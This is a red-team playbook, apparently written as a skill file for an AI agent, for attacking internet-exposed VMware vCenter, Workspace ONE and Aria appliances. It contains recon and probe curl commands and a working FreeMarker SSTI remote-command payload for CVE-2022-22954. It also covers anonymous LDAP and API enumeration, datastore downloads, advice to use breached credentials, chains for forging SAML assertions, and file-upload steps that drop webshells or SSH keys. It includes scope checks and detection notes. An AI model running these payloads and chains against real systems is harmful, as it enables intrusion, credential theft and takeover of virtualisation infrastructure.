vmware-vcenter-attack skill

When to use

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: /ui, /ui/login, /websso/SAML2/Metadata, /sdk, /mob (Managed Object Browser)
• TLS cert SAN includes vcenter / vsphere / vcsa / psc / vmware
• Workspace ONE Access / Identity Manager: /SAAS, /SAAS/auth, /SAAS/login, /SAAS/horizon
• VMware Aria / vRealize: /vco, /vco-controlcenter, /orchestrator, /lcm/api/v1
• Horizon View: /portal, /admin

Do NOT use for:

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

Step 1 — Version fingerprinting

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

Confirmed RCE requires the unique $CANARY reflected in-band plus uid= output not present in the Stage-A baseline → critical. Stop and report. A bare uid= with no canary echo is NOT confirmation.

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

⚠ Do not spray vCenter — administrator@vsphere.local has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

Step 6 — SSO / vmdir LDAP enumeration

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

Step 7 — Managed Object Browser (MOB) — frequently leaks data

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

Step 8 — vSphere REST API enumeration (post-cred)

# Get session token
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

Step 9 — Workspace ONE Access specific paths

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"

Step 10 — Aria / vRealize specific paths

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"

Tooling

• vCenter-Exploit collection (multiple PoCs on GitHub for 21972, 21985, 22005)
• Greenbone/openvas-scanner VMware NASL plugins — version detection
• nuclei templates: vmware-vcenter-*.yaml, cve-2021-21972.yaml, cve-2022-22954.yaml
• Metasploit modules: exploit/multi/http/vmwarevcenter

Detection patterns (what defenders/SOC will see)

• Excessive 404s on /ui/vropspluginui/* — IDS signature
• POST to /sdk from non-management IP
• administrator@vsphere.local auth failures
• TLS handshake fingerprint changes
• Plugin upload to vRealize endpoint

Pair with mid-engagement-ir-detection skill — vCenter is monitored heavily in mature SOCs.

External-only boundary check

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per feedbackskillboundaries. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

Severity scoring guidance (red-team deliverable context)

Anti-patterns

• DO NOT spray vCenter SSO — lockout is aggressive; one chance often
• DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
• DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
• DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

Bridge to neighboring skills

• enterprise-vpn-attack — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
• m365-entra-attack — vCenter SSO sometimes federated to Entra; cred-chain bridging
• mid-engagement-ir-detection — vCenter monitoring is sensitive; expect mid-engagement mitigations
• redteam-report-template — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

Related Skills & Chains

• hunt-saml — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at /SAAS/API/1.0/GET/metadata/idp.xml and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted → hunt-saml XSW1-XSW8 against the federating IdP → forged assertion with userPrincipalName=administrator@vsphere.local → SP-impersonation as vCenter admin → full virtualization-plane takeover.
• hunt-rce — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or /ui/login body → confirm patch level missing → hunt-rce deserialization/SSTI gadget from the matching CVE PoC → root on vCenter appliance → API-token mint → cluster-wide VM control.
• enterprise-vpn-attack — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, vmware-vcenter-attack becomes reachable on internal-only vCenter → datacenter takeover.
• m365-entra-attack — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to login.microsoftonline.com → m365-entra-attack Entra ATO on administrator@vsphere.local synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
• mid-engagement-ir-detection — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run mid-engagement-ir-detection baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via redteam-report-template.

Disclosed CVEs & coordinated-disclosure citations

These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.

1. CVE-2021-21972 — vCenter vropspluginui unauthenticated arbitrary file upload (canonical pre-auth RCE)

• Affected: vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
• Attack flow: Unauth POST to /ui/vropspluginui/rest/services/uploadova with a tar/OVA containing a path-traversal entry. On Windows write webshell.jsp under the vsphere-ui webroot for SYSTEM; on Linux drop authorized_keys under /home/vsphere-ui/.ssh/ and SSH in.
• Root cause: Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the uploadova handler did not sanitize archive entry paths.
• Disclosure: Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. CISA KEV: added 2021-11-03. Year discovered 2020, patched 2021.
• References: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

• Affected: vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
• Attack flow: Unauthenticated abuse of ProxygenController in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as vsphere-ui → command execution.
• Root cause: Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
• Disclosure: Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
• References: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/ (Ricter Z writeup) ; https://www.rapid7.com/db/modules/exploit/linux/http/vmwarevcentervsanhealthrce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

• Affected: vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
• Attack flow: Unauth POST to the Analytics endpoint on port 443 (/analytics/telemetry/ph/api/hyper/send) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
• Root cause: Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
• Disclosure: VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. CISA KEV: added 2021-11-03. Year discovered 2021, patched 2021.
• References: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

• Affected: Workspace ONE Access 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0; Identity Manager 3.3.3 → 3.3.6; vRealize Automation 7.6.
• Attack flow: Unauth GET to /catalog-portal/ui/oauth/verify?deviceUdid=${...} injects a FreeMarker template; freemarker.template.utility.Execute runs OS commands as the horizon service account. Single-request RCE.
• Root cause: Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
• Disclosure: Reported by Steven Seeley (mrme) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. CISA KEV:** added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
• References: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

• Affected: Workspace ONE Access 21.08.0.1; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
• Attack flow: Manipulate the HTTP Host header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
• Root cause: Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
• Disclosure: Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. CISA Emergency Directive 22-03 (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
• References: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-a